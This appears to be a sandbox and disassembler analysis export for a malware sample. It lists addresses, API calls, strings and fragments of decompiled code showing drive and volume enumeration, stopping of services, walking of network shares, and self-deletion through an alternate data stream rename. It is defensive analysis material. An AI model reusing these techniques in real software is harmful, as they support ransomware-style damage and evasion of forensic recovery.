0x7ff7e37228d6
0x7ff7e37228db
0x7ff7e37228e0
0x7ff7e37228e7
0x7ff7e37228eb
0x7ff7e37228ef
0x7ff7e37228f7
0x7ff7e3722902
0x7ff7e3722904
0x7ff7e372290a
0x7ff7e3722912
0x7ff7e3722914
0x7ff7e372291a
0x7ff7e3722920
0x7ff7e3722922
0x7ff7e3722928
0x7ff7e3722933
0x7ff7e3722939
0x7ff7e3722947
0x7ff7e372294f
0x7ff7e3722954
0x7ff7e3722959
0x7ff7e3722962
0x7ff7e3722966
0x7ff7e372296b
0x7ff7e3722970
0x7ff7e372297f
0x7ff7e3722984
0x7ff7e3722989
0x7ff7e372298f
0x7ff7e3722993
0x7ff7e372299a
0x7ff7e372299f
0x7ff7e37229a3
0x7ff7e37229a8
0x7ff7e37229ad
0x7ff7e37229b3
0x7ff7e37229ba
0x7ff7e37229be
0x7ff7e37229c8
0x7ff7e37229cf
0x7ff7e37229d1
0x7ff7e37229d5
0x7ff7e37229db
0x7ff7e37229e0
0x7ff7e37229e6
0x7ff7e37229f2
0x7ff7e37229f7
0x7ff7e37229fc
0x7ff7e3722a0f
0x7ff7e3722a14
0x7ff7e3722a19
0x7ff7e3722a2c
0x7ff7e3722a31
0x7ff7e3722a36
0x7ff7e3722a3f
0x7ff7e3722a41
0x7ff7e3722a46
0x7ff7e3722a4c
0x7ff7e3722a50
0x7ff7e3722a5c
0x7ff7e3722a61
0x7ff7e3722a6a
0x7ff7e3722a6f
0x7ff7e3722a74
0x7ff7e3722a76
0x7ff7e3722a7b
0x7ff7e3722a80
0x7ff7e3722a91
0x7ff7e3722a9b
0x7ff7e3722a9f
0x7ff7e3722aac
0x7ff7e3722ab1
0x7ff7e3722ab5
0x7ff7e3722aba
0x7ff7e3722ac0
0x7ff7e3722ac4
0x7ff7e3722acc
0x7ff7e3722ad0
0x7ff7e3722ad9
0x7ff7e3722ae3
0x7ff7e3722aeb
0x7ff7e3722af6
0x7ff7e3722afb
0x7ff7e3722b04
0x7ff7e3722b19
0x7ff7e3722b22
0x7ff7e3722b37
0x7ff7e3722b3c
0x7ff7e3722b41
0x7ff7e3722b47
0x7ff7e3722b4e
0x7ff7e3722b53
0x7ff7e3722b57
0x7ff7e3722b5c
0x7ff7e3722b62
0x7ff7e3722b65
0x7ff7e3722b67
0x7ff7e3722b7b
0x7ff7e3722b86
0x7ff7e3722b8f
0x7ff7e3722b96
0x7ff7e3722b96
0x7ff7e3722b9d
0x7ff7e3722ba3
0x7ff7e3722ba9
0x7ff7e3722bb3
0x7ff7e3722bb7
0x7ff7e3722bca
0x7ff7e3722bcf
0x7ff7e3722bd4
0x7ff7e3722bda
0x7ff7e3722be1
0x7ff7e3722be6
0x7ff7e3722bea
0x7ff7e3722bef
0x7ff7e3722c00
0x7ff7e3722c05
0x7ff7e3722c0c
0x7ff7e3722c11
0x7ff7e3722c1b
0x7ff7e3722c29
0x7ff7e3722c2c
0x7ff7e3722c2f
0x7ff7e3722c32
0x7ff7e3722c35
0x7ff7e3722c39
0x7ff7e3722c43
0x7ff7e3722c45
0x7ff7e3722c48
0x7ff7e3722c51
0x7ff7e3722c57
0x7ff7e3722c70
0x7ff7e3722c81
0x7ff7e3722c87
0x7ff7e3722c89
0x7ff7e3722c94
0x7ff7e3722c99
0x7ff7e3722c9f
0x7ff7e3722ca9
0x7ff7e3722cb5
0x7ff7e3722cc5
0x7ff7e3722ccb
0x7ff7e3722cd6
0x7ff7e3722cd9
0x7ff7e3722cdc
0x7ff7e3722ce5
0x7ff7e3722cf0
0x7ff7e3722cfb
0x7ff7e3722d06
0x7ff7e3722d0b
0x7ff7e3722d0f
0x7ff7e3722d2d
0x7ff7e3722d32
0x7ff7e3722d37
0x7ff7e3722d41
0x7ff7e3722d4a
0x7ff7e3722d54
0x7ff7e3722d59
0x7ff7e3722d61
0x7ff7e3722d66
0x7ff7e3722d6c
0x7ff7e3722d70
0x7ff7e3722d7b
0x7ff7e3722d86
0x7ff7e3722d8e
0x7ff7e3722d91
0x7ff7e3722d93
0x7ff7e3722d9e
0x7ff7e3722da3
0x7ff7e3722daa
0x7ff7e3722db3
0x7ff7e3722db5
0x7ff7e3722dba
0x7ff7e3722dc3
0x7ff7e3722dc7
0x7ff7e3722dcb
0x7ff7e3722dd0
0x7ff7e3722dda
0x7ff7e3722de2
0x7ff7e3722ded
0x7ff7e3722df7
0x7ff7e3722df9
0x7ff7e3722e05
0x7ff7e3722e0e
0x7ff7e3722e13
0x7ff7e3722e19
0x7ff7e3722e24
0x7ff7e3722e35
0x7ff7e3722e46
0x7ff7e3722e4f
0x7ff7e3722e53
0x7ff7e3722e57
0x7ff7e3722e57
0x7ff7e3722e5e
0x7ff7e3722e66
0x7ff7e3722e70
0x7ff7e3722e73
0x7ff7e3722e75
0x7ff7e3722e81
0x7ff7e3722e86
0x7ff7e3722e8d
0x7ff7e3722e94
0x7ff7e3722e98
0x7ff7e3722ea3
0x7ff7e3722eb4
0x7ff7e3722ec5
0x7ff7e3722ec7
0x7ff7e3722ed0
0x7ff7e3722ed6
0x7ff7e3722ee3
0x7ff7e3722ef5
0x7ff7e3722ef7
0x7ff7e3722f00
0x7ff7e3722f07
0x7ff7e3722f13
0x7ff7e3722f24
0x7ff7e3722f26
0x7ff7e3722f2f
0x7ff7e3722f35
0x7ff7e3722f3a
0x7ff7e3722f44
0x7ff7e3722f4b
0x7ff7e3722f55
0x7ff7e3722f67
0x7ff7e3722f69
0x7ff7e3722f72
0x7ff7e3722f79
0x7ff7e3722f81
0x7ff7e3722fa4

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61b9d48359097d222b7328b765a57ed3fa608c3fbf602bb63b64d6f2f545f0a9
Instruction ID: 66c447ca9eb083502b7cc72341238cdf3fc4219cd648e8f8b9cc6fe671c8daf0
Opcode Fuzzy Hash: 61b9d48359097d222b7328b765a57ed3fa608c3fbf602bb63b64d6f2f545f0a9
Instruction Fuzzy Hash: F922A6B2A08B4285EB90EF25E4807AABBA4FB48BC8F801136DE4D67B55DF3CD155C711

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E3711000 Relevance: 64.9, APIs: 11, Strings: 26, Instructions: 140
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDriveTypeW.KERNELBASE ref: 00007FF7E3711168
RtlAllocateHeap.NTDLL ref: 00007FF7E37111A2
RtlAllocateHeap.NTDLL ref: 00007FF7E37111C2
FindFirstVolumeW.KERNELBASE ref: 00007FF7E37111D8
GetVolumePathNamesForVolumeNameW.KERNELBASE ref: 00007FF7E37111FC
lstrlenW.KERNEL32 ref: 00007FF7E371120D
SetVolumeMountPointWStub.KERNEL32 ref: 00007FF7E371122C
FindNextVolumeW.KERNEL32 ref: 00007FF7E371123E
FindVolumeClose.KERNEL32 ref: 00007FF7E371124B
RtlAddVectoredContinueHandler.NTDLL ref: 00007FF7E371125D
RtlReleasePrivilege.NTDLL ref: 00007FF7E371126F

Strings

X:\, xrefs: 00007FF7E371111B
A:\, xrefs: 00007FF7E37110AB
J:\, xrefs: 00007FF7E37110EF
C:\, xrefs: 00007FF7E3711126
M:\, xrefs: 00007FF7E3711152
G:\, xrefs: 00007FF7E37110D9
U:\, xrefs: 00007FF7E371107B
H:\, xrefs: 00007FF7E37110E4
K:\, xrefs: 00007FF7E37110FA
Q:\, xrefs: 00007FF7E3711023
W:\, xrefs: 00007FF7E3711035
O:\, xrefs: 00007FF7E3711093
F:\, xrefs: 00007FF7E37110CE
I:\, xrefs: 00007FF7E3711087
S:\, xrefs: 00007FF7E37110B7
V:\, xrefs: 00007FF7E3711131
Z:\, xrefs: 00007FF7E3711110
E:\, xrefs: 00007FF7E371104B
N:\, xrefs: 00007FF7E3711147
P:\, xrefs: 00007FF7E371109F
D:\, xrefs: 00007FF7E37110C3
R:\, xrefs: 00007FF7E3711057
T:\, xrefs: 00007FF7E3711063
B:\, xrefs: 00007FF7E371113C
L:\, xrefs: 00007FF7E3711105
Y:\, xrefs: 00007FF7E371106F

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID: Volume$Find$AllocateHeap$CloseContinueDriveFirstHandlerMountNameNamesNextPathPointPrivilegeReleaseStubTypeVectoredlstrlen
String ID: A:\$B:\$C:\$D:\$E:\$F:\$G:\$H:\$I:\$J:\$K:\$L:\$M:\$N:\$O:\$P:\$Q:\$R:\$S:\$T:\$U:\$V:\$W:\$X:\$Y:\$Z:\
API String ID: 1430939264-44998631
Opcode ID: 31e7377bf346fe797578571c27ae994bfb3949cd4219c56f1c56647fd172679d
Instruction ID: d486eca2dcabc60e11ea3bd576a446ad2b53043c441cc1f29009ffd10c27ac62
Opcode Fuzzy Hash: 31e7377bf346fe797578571c27ae994bfb3949cd4219c56f1c56647fd172679d
Instruction Fuzzy Hash: EB71F735A09B42A5E7959B11E8802A9BBB8FB4C790FC00237D94D23734EF3CE5A4C751

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E37119C0 Relevance: 31.6, APIs: 8, Strings: 10, Instructions: 123
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 41%

			E00007FF77FF7E37119C0(void* __edi, void* __esp) {
				char _v536;
				void* _t18;
				void* _t22;
				void* _t23;

				memset(__edi, 0, 0x20a << 0);
				r8d = 0x104;
				if (GetModuleFileNameW(??, ??, ??) != 0) goto 0xe3711a05;
				E00007FF77FF7E3711960(_t18, "failed to get the current module handle",  &_v536, _t22, _t23);
				return 0;
			}

0x7ff7e37119da
0x7ff7e37119de
0x7ff7e37119ec
0x7ff7e37119f5
0x7ff7e3711a04

APIs

GetModuleFileNameW.KERNEL32 ref: 00007FF7E37119E4
CreateFileW.KERNELBASE ref: 00007FF7E3711A36

Strings

failed to delete copy, file still exists, xrefs: 00007FF7E3711BB4
closing handle to trigger deletion deposition, xrefs: 00007FF7E3711B90
failed to get the current module handle, xrefs: 00007FF7E37119EE
failed to acquire handle to current running process, xrefs: 00007FF7E3711A45
successfully renamed file primary :$DATA ADS to specified stream, closing initial handle, xrefs: 00007FF7E3711AD0
successfully deleted self from disk, xrefs: 00007FF7E3711BD3
failed to set delete deposition, xrefs: 00007FF7E3711B71
failed to reopen current module, xrefs: 00007FF7E3711B1D
failed to rename to stream, xrefs: 00007FF7E3711AB1
attempting to rename file name, xrefs: 00007FF7E3711A64

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID: File$CreateModuleName
String ID: attempting to rename file name$closing handle to trigger deletion deposition$failed to acquire handle to current running process$failed to delete copy, file still exists$failed to get the current module handle$failed to rename to stream$failed to reopen current module$failed to set delete deposition$successfully deleted self from disk$successfully renamed file primary :$DATA ADS to specified stream, closing initial handle
API String ID: 3336128327-2240119336
Opcode ID: a86b9b601a6843f649b51237123b4105a8866a9c8f5bfda64e86bbff729296e2
Instruction ID: 1a0061f121169bdb3ebaa62e09cefcf8fafcd0e74f87b00d43f583f6611e1657
Opcode Fuzzy Hash: a86b9b601a6843f649b51237123b4105a8866a9c8f5bfda64e86bbff729296e2
Instruction Fuzzy Hash: 41518632A1868291FBD0AB10F8D43AABBA0EB88790FC40132D65D566D5DF7CD598C751

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E37113C0 Relevance: 30.2, APIs: 20, Instructions: 163
servicesleepmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00007FF7E37113D5
OpenSCManagerA.ADVAPI32 ref: 00007FF7E37113E7
OpenServiceA.ADVAPI32 ref: 00007FF7E371143D
QueryServiceStatusEx.ADVAPI32 ref: 00007FF7E3711467
EnumDependentServicesA.ADVAPI32 ref: 00007FF7E37114A4
GetLastError.KERNEL32 ref: 00007FF7E37114B2

Part of subcall function 00007FF7E3714180: RtlAllocateHeap.KERNEL32(?,?,00000000,00007FF7E37114CB), ref: 00007FF7E371419F

EnumDependentServicesA.ADVAPI32 ref: 00007FF7E37114F8
OpenServiceA.ADVAPI32 ref: 00007FF7E3711513
ControlService.ADVAPI32 ref: 00007FF7E371152D
Sleep.KERNEL32 ref: 00007FF7E3711543
QueryServiceStatusEx.ADVAPI32 ref: 00007FF7E3711561
GetTickCount.KERNEL32 ref: 00007FF7E3711571
CloseServiceHandle.ADVAPI32 ref: 00007FF7E3711589
HeapFree.KERNEL32 ref: 00007FF7E371159F
ControlService.ADVAPI32 ref: 00007FF7E37115B1
Sleep.KERNEL32 ref: 00007FF7E37115C4
QueryServiceStatusEx.ADVAPI32 ref: 00007FF7E37115E2
GetTickCount.KERNEL32 ref: 00007FF7E37115F2
CloseServiceHandle.ADVAPI32 ref: 00007FF7E371160A
CloseServiceHandle.ADVAPI32 ref: 00007FF7E3711628

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID: Service$CloseCountHandleOpenQueryStatusTick$ControlDependentEnumHeapServicesSleep$AllocateErrorFreeLastManager
String ID:
API String ID: 673189758-0
Opcode ID: 2481267485d83f7c9afce63cc96c484845d24250cb4182b53d2734767a9f8c30
Instruction ID: 65a607ac48a102654e932a633d7376e15a41a5a932d1b3a9957c3e2d7e0051bf
Opcode Fuzzy Hash: 2481267485d83f7c9afce63cc96c484845d24250cb4182b53d2734767a9f8c30
Instruction Fuzzy Hash: 4F617632B08B4295F7A0AB61E8847B9BBA5EB4D788F840136CE4D67764DF3CE454C311

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E3713450 Relevance: 24.1, APIs: 16, Instructions: 94
synchronizationmemorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WaitForSingleObject.KERNEL32 ref: 00007FF7E3713469
RtlAcquirePebLock.KERNEL32 ref: 00007FF7E371347A
RtlLeaveCriticalSection.KERNEL32 ref: 00007FF7E37134A9
ReleaseSemaphore.KERNEL32 ref: 00007FF7E37134BD

Part of subcall function 00007FF7E3712C00: RtlAllocateHeap.NTDLL ref: 00007FF7E3712C24
Part of subcall function 00007FF7E3712C00: lstrcpyW.KERNEL32 ref: 00007FF7E3712C38
Part of subcall function 00007FF7E3712C00: lstrcatW.KERNEL32 ref: 00007FF7E3712C48
Part of subcall function 00007FF7E3712C00: CreateFileW.KERNELBASE ref: 00007FF7E3712C72
Part of subcall function 00007FF7E3712C00: lstrlen.KERNEL32 ref: 00007FF7E3712C88
Part of subcall function 00007FF7E3712C00: WriteFile.KERNELBASE ref: 00007FF7E3712CA8
Part of subcall function 00007FF7E3712C00: CloseHandle.KERNEL32 ref: 00007FF7E3712CB1
Part of subcall function 00007FF7E3712C00: lstrcpyW.KERNEL32 ref: 00007FF7E3712CC5
Part of subcall function 00007FF7E3712C00: lstrcatW.KERNEL32 ref: 00007FF7E3712CD5
Part of subcall function 00007FF7E3712C00: FindFirstFileW.KERNELBASE ref: 00007FF7E3712CE3
Part of subcall function 00007FF7E3712C00: lstrcmpiW.KERNEL32 ref: 00007FF7E3712D28
Part of subcall function 00007FF7E3712C00: lstrcpyW.KERNEL32 ref: 00007FF7E3712D47
Part of subcall function 00007FF7E3712C00: lstrcatW.KERNEL32 ref: 00007FF7E3712D57
Part of subcall function 00007FF7E3712C00: lstrcatW.KERNEL32 ref: 00007FF7E3712D65
Part of subcall function 00007FF7E3712C00: lstrcmpW.KERNEL32 ref: 00007FF7E3712D82
Part of subcall function 00007FF7E3712C00: lstrlenW.KERNEL32 ref: 00007FF7E3712D95
Part of subcall function 00007FF7E3712C00: WaitForSingleObject.KERNEL32 ref: 00007FF7E3712E19

RtlReleasePrivilege.NTDLL ref: 00007FF7E37134E0
WaitForSingleObject.KERNEL32 ref: 00007FF7E37134F9
RtlAcquirePebLock.KERNEL32 ref: 00007FF7E371350E
RtlLeaveCriticalSection.KERNEL32 ref: 00007FF7E371353D
ReleaseSemaphore.KERNEL32 ref: 00007FF7E3713551
WaitForSingleObject.KERNEL32 ref: 00007FF7E3713579
WaitForSingleObject.KERNEL32 ref: 00007FF7E371358D
RtlAcquirePebLock.KERNEL32 ref: 00007FF7E371359A
RtlLeaveCriticalSection.KERNEL32 ref: 00007FF7E37135C9
ReleaseSemaphore.KERNEL32 ref: 00007FF7E37135DD
HeapFree.KERNEL32 ref: 00007FF7E37135FC
RtlExitUserThread.KERNEL32 ref: 00007FF7E3713609

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID: ObjectSingleWait$Releaselstrcat$AcquireCriticalFileLeaveLockSectionSemaphorelstrcpy$Heaplstrlen$AllocateCloseCreateExitFindFirstFreeHandlePrivilegeThreadUserWritelstrcmplstrcmpi
String ID:
API String ID: 3105973998-0
Opcode ID: 2a0a96db74ed50cd348411421475d9f794dcc1a61966b31e87bb19b83959f2a2
Instruction ID: e5050cd985d75997c5362e2ce2bc1a973948c4ec814e0a90acba34ed880de7b4
Opcode Fuzzy Hash: 2a0a96db74ed50cd348411421475d9f794dcc1a61966b31e87bb19b83959f2a2
Instruction Fuzzy Hash: 4441CA75A0864796FB90BF22D8E0775BB61AF8DB45BC44533C80E62264DE3DF464C623

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E3713880 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 59
memorystringshareCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 37%

			E00007FF77FF7E3713880(signed int __ecx, void* __rax, long long __rbx, void* __rdx, long long __rsi, void* __r8, long long _a8, char _a16, long long _a24) {
				void* __rdi;
				int _t14;
				void* _t21;
				void* _t28;
				void* _t36;
				void* _t49;
				void* _t53;
				void* _t64;
				void* _t65;
				void* _t66;
				void* _t67;

				_t49 = __rdx;
				_t36 = __rax;
				_a8 = __rbx;
				_a24 = __rsi;
				asm("o16 nop [eax+eax]");
				_t3 = _t49 + 0x46; // 0x4e
				r8d = _t3;
				RtlAllocateHeap(??, ??, ??);
				if (__rax == 0) goto 0xe37138a0;
				lstrcpyW(??, ??);
				lstrcpyW(??, ??);
				 *((short*)(__rax + 8)) = __ecx & 0x0000ffff;
				_t14 = GetDriveTypeW(??);
				if (_t14 == 0) goto 0xe371394e;
				if (_t14 == 5) goto 0xe371394e;
				if (_t14 == 4) goto 0xe3713904;
				_t44 = __rax; // executed
				E00007FF77FF7E37130B0(_t21, _t28, __rax, _t53, __r8, _t64, _t65, _t66, _t67); // executed
				goto 0xe371394e;
				_a16 = 0x104;
				E00007FF77FF7E3714180(_t36, _t44);
				if (_t36 == 0) goto 0xe371394e;
				if (WNetGetConnectionW(??, ??, ??) != 0) goto 0xe371393c;
				E00007FF77FF7E37130B0(_t21, _t28, _t36, _t36,  &_a16, _t64, _t65, _t66, _t67);
				HeapFree(??, ??, ??);
				return HeapFree(??, ??, ??);
			}

0x7ff7e3713880
0x7ff7e3713880
0x7ff7e3713880
0x7ff7e3713885
0x7ff7e3713896
0x7ff7e37138ac
0x7ff7e37138ac
0x7ff7e37138b0
0x7ff7e37138bc
0x7ff7e37138c8
0x7ff7e37138d9
0x7ff7e37138e2
0x7ff7e37138e6
0x7ff7e37138ee
0x7ff7e37138f3
0x7ff7e37138f8
0x7ff7e37138fa
0x7ff7e37138fd
0x7ff7e3713902
0x7ff7e3713909
0x7ff7e3713911
0x7ff7e371391c
0x7ff7e3713932
0x7ff7e3713937
0x7ff7e3713948
0x7ff7e371396f

APIs

RtlAllocateHeap.KERNEL32 ref: 00007FF7E37138B0
lstrcpyW.KERNEL32 ref: 00007FF7E37138C8
lstrcpyW.KERNEL32 ref: 00007FF7E37138D9
GetDriveTypeW.KERNEL32 ref: 00007FF7E37138E6
HeapFree.KERNEL32 ref: 00007FF7E371395A

Part of subcall function 00007FF7E3714180: RtlAllocateHeap.KERNEL32(?,?,00000000,00007FF7E37114CB), ref: 00007FF7E371419F

WNetGetConnectionW.MPR ref: 00007FF7E371392A
HeapFree.KERNEL32 ref: 00007FF7E3713948

Part of subcall function 00007FF7E37130B0: WaitForSingleObject.KERNEL32 ref: 00007FF7E37130D9
Part of subcall function 00007FF7E37130B0: WaitForSingleObject.KERNEL32 ref: 00007FF7E37130F9
Part of subcall function 00007FF7E37130B0: RtlAcquirePebLock.KERNEL32 ref: 00007FF7E371310A
Part of subcall function 00007FF7E37130B0: RtlLeaveCriticalSection.KERNEL32 ref: 00007FF7E3713139
Part of subcall function 00007FF7E37130B0: ReleaseSemaphore.KERNEL32 ref: 00007FF7E371314D
Part of subcall function 00007FF7E37130B0: HeapFree.KERNEL32 ref: 00007FF7E3713170
Part of subcall function 00007FF7E37130B0: RtlAcquirePebLock.KERNEL32 ref: 00007FF7E371318A
Part of subcall function 00007FF7E37130B0: lstrlenW.KERNEL32 ref: 00007FF7E371319F
Part of subcall function 00007FF7E37130B0: RtlAllocateHeap.NTDLL ref: 00007FF7E37131C0
Part of subcall function 00007FF7E37130B0: RtlLeaveCriticalSection.KERNEL32 ref: 00007FF7E371324A
Part of subcall function 00007FF7E37130B0: ReleaseSemaphore.KERNEL32 ref: 00007FF7E371325E
Part of subcall function 00007FF7E37130B0: RtlAllocateHeap.NTDLL ref: 00007FF7E3713276
Part of subcall function 00007FF7E37130B0: lstrcpyW.KERNEL32 ref: 00007FF7E371328A

Strings

\\?\, xrefs: 00007FF7E37138BE

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID: Heap$Allocate$Freelstrcpy$AcquireCriticalLeaveLockObjectReleaseSectionSemaphoreSingleWait$ConnectionDriveTypelstrlen
String ID: \\?\
API String ID: 370900177-4282027825
Opcode ID: fb383389ca7beb1b0773e8f10ca30d1494fa1def15f44ca69cb7876ef88791d5
Instruction ID: b9e56c173a5156a8d6bb87e48b7bd8d076a3960f9d7fa1dbf7bc239914bd43c2
Opcode Fuzzy Hash: fb383389ca7beb1b0773e8f10ca30d1494fa1def15f44ca69cb7876ef88791d5
Instruction Fuzzy Hash: 66212C65A0864291FB80AB12A8D4379BA61EF8CB94FC84032D94E66354EE3CE465C722

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E373AC58 Relevance: 13.6, APIs: 9, Instructions: 92
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 70%

			E00007FF77FF7E373AC58(intOrPtr* __rax, long long __rbx, long long __rsi, void* __r8, long long _a8, long long _a16) {
				char _v24;
				void* __rdi;
				void* _t9;
				void* _t11;
				void* _t13;
				void* _t25;
				void* _t30;
				void* _t36;
				intOrPtr _t40;
				intOrPtr* _t62;
				void* _t78;

				_t80 = __rsi;
				_t63 = __rbx;
				_t62 = __rax;
				_a8 = __rbx;
				_a16 = __rsi;
				_t9 = E00007FF77FF7E373AE20(1); // executed
				if (_t9 != 0) goto 0xe373ac80;
				E00007FF77FF7E373B1A0(7, __rax, __rbx);
				asm("int3");
				sil = 0;
				_v24 = sil;
				_t11 = E00007FF77FF7E373ADE4();
				_t40 =  *0xe3764c40; // 0x2
				if (_t40 != 1) goto 0xe373aca4;
				E00007FF77FF7E373B1A0(7, _t62, _t63);
				if (7 != 0) goto 0xe373acf2;
				 *0xe3764c40 = 1;
				_t13 = E00007FF77FF7E373F35C(_t63, 0xe374c4a0, 0xe374c4d0, __rsi); // executed
				if (_t13 == 0) goto 0xe373acd3;
				goto 0xe373adbf;
				E00007FF77FF7E373F2E4(_t63, 0xe374c488, 0xe374c498, _t78, _t80);
